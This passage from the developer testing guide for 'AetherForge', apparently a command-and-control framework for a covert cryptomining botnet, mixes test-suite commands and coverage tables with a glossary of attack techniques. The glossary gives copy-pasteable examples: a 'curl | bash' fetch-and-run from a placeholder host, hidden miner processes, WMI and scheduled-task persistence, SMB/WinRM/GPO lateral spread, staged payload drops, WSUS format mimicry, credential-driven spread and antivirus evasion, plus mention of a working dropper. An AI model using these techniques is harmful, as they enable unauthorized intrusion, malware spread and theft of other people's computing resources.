cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... -run "Subnet|Immune" -count=1
|
||
```
|
||
|
||
### Fleet AI gaps
|
||
|
||
- **Live Ollama / vLLM inference**  scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
|
||
- **Full scheduler E2E**  one mocked `Tick()` cycle covered; no multi-agent parallel decision race test.
|
||
- **Court session UI**  Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet.
|
||
- **Real `full_sys_check` syscheck bundle**  handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI.
|
||
|
||
## LOTL architecture (triple onion)
|
||
|
||
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
|
||
|
||
```mermaid
|
||
flowchart TB
|
||
subgraph recon["Recon phase"]
|
||
kev[kev_scan]
|
||
vr[vuln_recon]
|
||
sp[service_probe]
|
||
lp[listen_ports]
|
||
kev --> vr --> sp --> lp
|
||
end
|
||
|
||
subgraph gates["Policy gates"]
|
||
pf{patch_first?}
|
||
hr{high risk?}
|
||
end
|
||
|
||
subgraph deploy["Deploy lanes"]
|
||
dj[discover_and_join]
|
||
d1[docker / docker_load]
|
||
d2[wsl / powershell / dotnet]
|
||
d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm]
|
||
d4[linux / gpo / intune]
|
||
dj --> d1 --> d2 --> d3 --> d4
|
||
end
|
||
|
||
subgraph mining["Mining execution tiers"]
|
||
m1[exe_subprocess]
|
||
m2[docker_load / container / wsl]
|
||
m3[ps_inmemory / dotnet / cpu_inprocess]
|
||
m4[wmi / scheduled_task / webview2_probe]
|
||
m5[gpu_compute / gpu_subprocess / linux_pyopencl]
|
||
m6[stratum_direct]
|
||
m1 --> m2 --> m3 --> m4 --> m5 --> m6
|
||
end
|
||
|
||
recon --> pf
|
||
pf -->|critical CVE exposed| skip[Skip deploy + mining]
|
||
pf -->|clear| hr
|
||
hr -->|risk above threshold| mineOnly[Deploy only or skip mining]
|
||
hr -->|acceptable| deploy
|
||
deploy -->|lane OK| mining
|
||
deploy -->|all lanes fail| mining
|
||
```
|
||
|
||
Phenotype inherit and failure-atlas skip branches (adaptive / auth path):
|
||
|
||
```mermaid
|
||
flowchart LR
|
||
subgraph auth["Agent auth"]
|
||
fp[fingerprint match]
|
||
pheno{winning phenotype?}
|
||
inherit[inherited_phenotype tier_order + spread_lane]
|
||
adaptive[adaptive_strategy tier_order]
|
||
atlasRec[atlas RecordFailure from stats]
|
||
atlasSkip[atlas_skips hard subtree]
|
||
merge[MergeSkipsIntoStrategy skip_tiers]
|
||
end
|
||
|
||
fp --> pheno
|
||
pheno -->|yes| inherit
|
||
pheno -->|no| adaptive
|
||
atlasRec --> atlasSkip
|
||
adaptive --> merge
|
||
atlasSkip --> merge
|
||
inherit --> agentPolicy[agent tier policy]
|
||
merge --> agentPolicy
|
||
```
|
||
|
||
Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):
|
||
|
||
```mermaid
|
||
stateDiagram-v2
|
||
[*] --> TryTier1
|
||
TryTier1 --> Active: tier OK
|
||
TryTier1 --> TryTier2: tier failed / skipped
|
||
TryTier2 --> Active: tier OK
|
||
TryTier2 --> TryTier3: tier failed / skipped
|
||
TryTier3 --> Active: tier OK
|
||
TryTier3 --> TryTierN: tier failed / skipped
|
||
TryTierN --> Active: tier OK
|
||
TryTierN --> Exhausted: all tiers failed
|
||
Active --> [*]: hashrate reported
|
||
Exhausted --> [*]: lotl_attempts logged
|
||
```
|
||
|
||
Telemetry from each attempt flows to the dashboard via WebSocket `stats_batch`: `lotl_tier`, `lotl_attempts`, `mining_hashrate`, `stratum_egress`, `join_lane`, `vuln_findings`.
|
||
|
||
## LOTL vector glossary
|
||
|
||
Every term below has a plain-language definition and a copy-pasteable example (CLI, API, Crucible command, or Forge flag). Canonical spread playbook: [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html).
|
||
|
||
### Mining execution tiers
|
||
|
||
| Term | Definition | Example |
|
||
|------|------------|---------|
|
||
| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. |
|
||
| `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. |
|
||
| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs  no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. |
|
||
| `container` | Run worker inside Docker/Podman from a pulled or local image  host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. |
|
||
| `wsl` | Mine or bootstrap via WSL  Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. |
|
||
| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap  no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. |
|
||
| `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. |
|
||
| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process  AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. |
|
||
| `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. |
|
||
| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job  no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. |
|
||
| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess  gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. |
|
||
| `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. |
|
||
| `gpu_subprocess` | External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. | Forge GPU enabled; chain tier `gpu_subprocess` after `webview2_probe` passes. |
|
||
| `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. |
|
||
| `linux_pyopencl` | Linux OpenCL probe via `python3 -c "import pyopencl"` before `stratum_direct` when no CUDA. | Inserted by `appendLinuxPyOpenCL` in fallback chain on Linux agents without CUDA. |
|
||
|
||
### Spread / deploy lanes
|
||
|
||
| Term | Definition | Example |
|
||
|------|------------|---------|
|
||
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
|
||
| `do_peer` | Shadow Cache Handoff  DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
|
||
| `wsus_cache_peer` | WSUS offline cache cousin  stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers  format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
|
||
| `dns_txt` | DNS TXT mesh  `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
|
||
| `webrtc_mesh` | WebRTC LAN seed  subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
|
||
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path  no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
|
||
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
|
||
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
|
||
| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. |
|
||
| `intune` | Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export `{"template":"intune"}` → assign `intune-startup.ps1` in owned tenant. |
|
||
| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` |
|
||
| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. |
|
||
| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. |
|
||
| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. |
|
||
| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing  server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. |
|
||
|
||
### Fleet recon
|
||
|
||
| Term | Definition | Example |
|
||
|------|------------|---------|
|
||
| `vuln_findings` | Array of CVE/KEV findings from agent probes  severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. |
|
||
| `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. |
|
||
| `credential graph` | UI table of cred spread edges grouped by /24  shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). |
|
||
| `service_graph` | Merged service discovery per host IP  running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. |
|
||
| `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. |
|
||
| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. |
|
||
| `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. |
|
||
| `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. |
|
||
| **Probe & Join** | Crucible operator action that runs `discover_and_join` on selected online nodes. | Crucible toolbar → **Probe & Join** button (`CrucibleExpandedOps`). |
|
||
| `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. |
|
||
|
||
### C2 / telemetry
|
||
|
||
| Term | Definition | Example |
|
||
|------|------------|---------|
|
||
| `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. |
|
||
| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet`  diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. |
|
||
| `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. |
|
||
| `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. |
|
||
| `power_management` bulk pause | Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar **Pause** → `POST /api/v1/agents/bulk-command` `{"action":"pause"}`; category `power_management`. |
|
||
|
||
### Planned / stub (not fully automated E2E)
|
||
|
||
| Term | Status | Notes |
|
||
|------|--------|-------|
|
||
| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). |
|
||
| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). |
|
||
| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. |
|
||
|
||
## Run individual suites
|
||
|
||
```bat
|
||
cd server && go test ./...
|
||
cd agent && go test ./...
|
||
cd server\web && npm test
|
||
cd server\web && npm run test:e2e
|
||
```
|
||
|
||
### Fleet recon quick-run (P0 subset)
|
||
|
||
Matches `scripts/test-suite.ps1 -ReconOnly`:
|
||
|
||
```bat
|
||
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan|SpreadRoute" -count=1
|
||
cd server && go test ./internal/spreadrouter/... -count=1
|
||
cd server && go test ./internal/db/... -run CredEdge -count=1
|
||
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
|
||
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
|
||
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1
|
||
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
|
||
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx
|
||
```
|
||
|
||
## E2E only (server already running)
|
||
|
||
E2E credentials match `server/internal/api/integration_test.go` (`testuser` / `testpass`). Seed
|
||
`users.json` in the server data directory **before** first start, or the server generates a random
|
||
`admin` password instead.
|
||
|
||
```bat
|
||
set AETHERFORGE_E2E_USER=testuser
|
||
set AETHERFORGE_E2E_PASS=testpass
|
||
powershell -NoProfile -Command "[IO.File]::WriteAllText('data\\users.json','{\"testuser\":\"testpass\"}')"
|
||
set AETHERFORGE_URL=http://127.0.0.1:8989
|
||
cd server\web && npm run test:e2e
|
||
```
|
||
|
||
`test.bat` phase 8 seeds `users.json` automatically in a temp data dir. Override creds with
|
||
`AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` (used by Playwright, `test-suite.ps1`, and
|
||
`scripts/smoke-test.ps1`).
|
||
|
||
## Adding tests
|
||
|
||
- **Go:** `*_test.go` next to the code under test
|
||
- **Frontend:** `src/**/*.test.ts` (Vitest)
|
||
- **E2E:** `server/web/e2e/*.spec.ts` (Playwright)
|
||
|
||
All Go packages under `server/` and `agent/` are picked up automatically by `go test ./...` in
|
||
`scripts/test-suite.ps1`. Vitest discovers any `*.test.ts(x)` under `server/web/src/`.
|
||
|
||
## Priority tests (P0 / P1)
|
||
|
||
### P0  security and command validation
|
||
|
||
| Test | What it validates | File | Phase |
|
||
|------|-------------------|------|-------|
|
||
| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
|
||
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
||
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
||
| Crucible LOTL E2E | Stub **LOTL tier badge** on Crucible + **Onion timeline** tier chain | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
|
||
| LOTL Timeline E2E | `/lotl-timeline` 14-tier chain, fleet overview, clearance/court/AI panels (mocked REST) | `server/web/e2e/lotl-timeline.spec.ts` | 8 |
|
||
| Discover→spread E2E | Crucible **Probe & Join** → `discover_and_join` POST + stub join_lane ack in Access Depth | `server/web/e2e/discover-spread.spec.ts` | 8 |
|
||
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
|
||
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
|
||
|
||
### P1  additional hardening
|
||
|
||
| Test | What it validates | File | Phase |
|
||
|------|-------------------|------|-------|
|
||
| `TestDownloadCommandRejectsPathTraversal` | Agent `download` (read) blocks traversal paths like upload | `agent/client/client_upload_test.go` | 2 |
|
||
|
||
### P1  file handling + bot/AI commands (2026-06-07)
|
||
|
||
| Test | What it validates | File | Phase |
|
||
|------|-------------------|------|-------|
|
||
| `TestUploadCommandRejectsPathTraversal` / `TestDownloadCommandRejectsPathTraversal` | 10 traversal variants (`..`, `~/..`, `@desktop/..`, `desktop:..`, mixed separators) on upload + download | `agent/client/client_upload_test.go` | 2 |
|
||
| `TestResolveRemotePathRejectsTraversalVariants` | Same traversal matrix at `deploy.ResolveRemotePath` layer | `agent/deploy/desktop_path_test.go` | 2 |
|
||
| `TestReadFileCommandRejectsOversize` / `TestReadFileCommandAcceptsWithinCap` | `read_file` 512 KiB cap (`maxReadFileBytes`) | `agent/client/file_ops_common_test.go` | 2 |
|
||
| `TestAgentConfigFileUploadReadRoundTrip` | Config JSON upload → `read_file` round-trip on agent | `agent/client/file_ops_common_test.go` | 2 |
|
||
| `TestHandleAISpreadNowWhenEnabled` / `TestHandleAIRestartMining` / `TestHandleAIFullSysCheck` | Fleet AI `ai_commands` handlers (spread, mining restart, syscheck JSON) | `agent/client/ai_commands_test.go` | 2 |
|
||
| `TestValidateAICommandPathRejectsTraversal` / `TestHandleAIExecShellRejectsTraversalPath` | `exec_shell` working-directory path guard | `agent/client/ai_commands_test.go` | 2 |
|
||
| `TestServeAgentBinaryDownload*` / `TestFindAgentBinary*` | `/api/download/agent-{windows,mac,linux}` binary lookup + HTTP stream | `server/internal/api/download_handler_test.go` | 1 |
|
||
| `TestDownloadBuildArtifact*` / `TestDownloadBuildArtifactAPK` | Build `/download`, `/artifact/{name}` for fusion zip + APK | `server/internal/builder/handler_serve_test.go` | 1 |
|
||
| `TestDropperServeGetPrefersBundleArtifact` / `TestResolveDropperArtifact` | Dropper `/get` prefers fusion bundle over launcher | `server/internal/api/dropper_handler_test.go` | 1 |
|
||
| `TestApkAssetPathsMatchBinaryExtractor` | Go builder writes `assets/agent` + `config.json` matching `BinaryExtractor.kt` / `AgentConfig.kt` | `server/internal/builder/build_apk_test.go` | 1 |
|
||
| `TestWriteApkConfigJSONFilePermissions` | APK `config.json` 0644 + assets dir 0755 (POSIX; skipped on Windows umask) | `server/internal/builder/handler_serve_test.go` | 1 |
|
||
|
||
Quick run (file-handling sweep):
|
||
|
||
```bat
|
||
cd agent && go test ./client/... -run "Upload|AI|Command|File" -count=1
|
||
cd server && go test ./internal/builder/... ./internal/api/... -run "Download|Upload|Dropper|Artifact" -count=1
|
||
```
|
||
|
||
**Note:** The broad agent filter also matches unrelated integration tests (`TestWSBeaconIntegration*`, `TestHandleAggressiveCommand*`). Tight subset:
|
||
|
||
```bat
|
||
cd agent && go test ./client/ -run "TestUpload|TestDownloadCommand|TestHandleAI|TestValidateAI|TestReadFile|TestAgentConfig|TestContainsPath|TestResolveList" -count=1
|
||
cd agent && go test ./deploy/ -run "ResolveRemotePath|RemotePath" -count=1
|
||
```
|
||
|
||
Run PathForge + Path Tracer tests quickly:
|
||
|
||
```bat
|
||
cd server && go test ./internal/builder/... -run PathForge -count=1
|
||
cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteActionPathTracer|HandleAggressiveCommandWg|HandleAggressiveCommandService" -count=1
|
||
cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx
|
||
```
|
||
|
||
Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet  Go tests cover the counter; Vitest verifies placement summary only.
|
||
|
||
Run P0 Go tests quickly:
|
||
|
||
```bat
|
||
cd server && go test ./internal/api/... -run "TestIntegrationRouterCommandFullRoundTrip|TestAllowAgentWSUpgradeRateLimit" -count=1
|
||
cd server && go test ./internal/builder/... -run TestPathForgeRootPathOutsideAllowedRoots -count=1
|
||
cd agent && go test ./client/... -run "Upload|Download" -count=1
|
||
```
|
||
|
||
|
||
Run Crucible P0 E2E only (needs a live server on `AETHERFORGE_URL`, default `:8989`; `test-suite.ps1` phase 8 uses `:18989`):
|
||
|
||
```bat
|
||
set AETHERFORGE_E2E_USER=testuser
|
||
set AETHERFORGE_E2E_PASS=testpass
|
||
set AETHERFORGE_URL=http://127.0.0.1:8989
|
||
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
|
||
```
|
||
|
||
Run P2 LOTL timeline + discover→spread E2E (live server required  `test.bat` phase 8 seeds `:18989`):
|
||
|
||
```bat
|
||
set AETHERFORGE_E2E_USER=testuser
|
||
set AETHERFORGE_E2E_PASS=testpass
|
||
set AETHERFORGE_URL=http://127.0.0.1:18989
|
||
cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line
|
||
```
|
||
|
||
`lotl-timeline.spec.ts`  navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`.
|
||
|
||
`discover-spread.spec.ts`  Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats  validates UI wiring, not real SMB spread.
|
||
|
||
`e2e/fixtures.ts` exports `waitForServerHealth()`  polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse  avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
|
||
|
||
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
|
||
|
||
Run remote-actions only (no stub agent; mocks offline fleet via WS):
|
||
|
||
```bat
|
||
set AETHERFORGE_E2E_USER=testuser
|
||
set AETHERFORGE_E2E_PASS=testpass
|
||
set AETHERFORGE_URL=http://127.0.0.1:8989
|
||
cd server\web && npx playwright test e2e/remote-actions.spec.ts
|
||
```
|
||
|
||
## Coverage map (recent features)
|
||
|
||
| Feature | Test file(s) | Suite phase |
|
||
|---------|----------------|-------------|
|
||
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
|
||
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
||
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
|
||
| PathForge cancel / concurrent / skipped counter | `server/internal/builder/pathforge_test.go` | 1 |
|
||
| Path Tracer wg_setup + discover routing | `agent/client/aggressive_commands_test.go`, `pathtracer_stub_test.go` | 2 |
|
||
| Path Tracer Windows helpers + WG idle paths | `agent/client/pathtracer_windows_test.go` (windows tag) | 2 |
|
||
| Path Forge + cancel UI | `server/web/src/pages/BuilderPage.test.tsx` (Kill Build, path-forge submit/busy) | 4 |
|
||
| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
||
| P0 Crucible LOTL badge + Onion timeline E2E | `server/web/e2e/crucible-lotl.spec.ts` | 8 |
|
||
| P2 LOTL Timeline E2E (14-tier + AI/court/clearance smoke) | `server/web/e2e/lotl-timeline.spec.ts` | 8 |
|
||
| P2 discover→spread E2E (Probe & Join + join_lane stub) | `server/web/e2e/discover-spread.spec.ts`, `discover-spread-stub.ts` | 8 |
|
||
| Calibrate AI Control toggle E2E | `server/web/e2e/pages.spec.ts` (Logic gates / AI Control smoke) | 8 |
|
||
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
|
||
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
|
||
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
|
||
| Mining diagnostics JSON + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
|
||
| Mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
|
||
| **MiningChainRunner lifecycle** (construction, start/stop/cooldown, triple-onion ordering, tier hooks, onion/tier payloads, disabled/apk skip, failure advance, exhausted) | `agent/client/mining_chain_lifecycle_test.go` | 2 |
|
||
| Chain cooldown / inprocess skips container | `agent/miner/fallback_chain_test.go` | 2 |
|
||
| Stats batch WS coalescing | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 |
|
||
| Agents API pagination + subnet | `server/internal/db/agents_list_test.go`, `server/internal/api/handlers_test.go` | 1 |
|
||
| Mining status relay (`mining_status` / `mining_fallback`) | `server/internal/api/websocket_test.go` | 1 |
|
||
| Agent name preserved on reconnect | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 |
|
||
| `applyStatsUpdate` / `stats_batch` mining fields | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
|
||
| Fleet → Crucible redirect | `server/web/src/pages/AgentsPage.test.tsx`, `e2e/pages.spec.ts` | 4 / 8 |
|
||
| Crucible terminal `_seq` cursor | `server/web/src/pages/CruciblePage.test.tsx` | 4 |
|
||
| CrucibleAgentMeta / bulk toolbar | `CrucibleAgentMeta.test.tsx`, `CruciblePage.test.tsx` | 4 |
|
||
| Defender exclusion helper | `server/web/src/help/defenderExclusion.test.ts` | 4 |
|
||
| AV-Safe forge preset | `forgeOperationModes.test.ts`, `forgeMissionWizard.test.ts` | 4 |
|
||
| Forge progress polling | `server/web/src/pages/BuilderPage.test.tsx` | 4 |
|
||
| Emberwake pinA/pinB ref fix | `server/web/src/pages/EmberwakePage.test.tsx` | 4 |
|
||
| Mining status in AgentRemoteActions | `server/web/src/components/components.test.tsx` | 4 |
|
||
| PathTracerPage (12 tests) | `server/web/src/pages/PathTracerPage.test.tsx` | 4 |
|
||
| SystemStatusBar WS fleet count | `server/web/src/components/components.test.tsx` | 4 |
|
||
| WebSocket `stats_batch` handler | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
|
||
| Remote action wiring (`mining_diagnostics`) | `server/web/src/help/remoteActions.test.ts` | 4 |
|
||
|
||
### Fleet recon (2026-06-06 parallel agents)
|
||
|
||
| Feature | Test file(s) | Suite phase |
|
||
|---------|----------------|-------------|
|
||
| `vuln_findings` + CVE correlate | `agent/vulnprobe/scan_test.go`, `agent/client/vuln_scan_test.go`, `agent/client/cve_scan_test.go` | 2 |
|
||
| `cred_edges` + affinity spread | `server/internal/db/cred_edges_test.go`, `server/deployment_creds_test.go`, `server/internal/api/spread_cred_test.go`, `agent/client/spread_cred_test.go` | 1 / 2 |
|
||
| `service_graph` + join_lane mapping | `agent/deploy/service_discovery_test.go`, `server/internal/api/pathtracer_discover_test.go` | 1 / 2 |
|
||
| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/discover_join_test.go`, `service_deploy_test.go` | 1 / 2 |
|
||
| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go` (`TestEvaluateTripleOnionGates*`, `TestTripleOnionOrchestrator*`), `server/internal/api/server_policy_test.go` | 1 / 2 |
|
||
| Deployment cred vault + affinity | `server/deployment_creds_test.go` (`TestOrderDeploymentCredProfiles_Affinity`, `TestLoadDeploymentCredPasswordFromVault`) | 1 |
|
||
| CVE / KEV client correlate | `agent/client/cve_scan_test.go`, `agent/client/vuln_scan_test.go` | 2 |
|
||
| Vuln catalog API | `server/internal/api/vuln_handler_test.go`, `server/internal/vuln/correlator_test.go` | 1 |
|
||
| `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 |
|
||
| Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 |
|
||
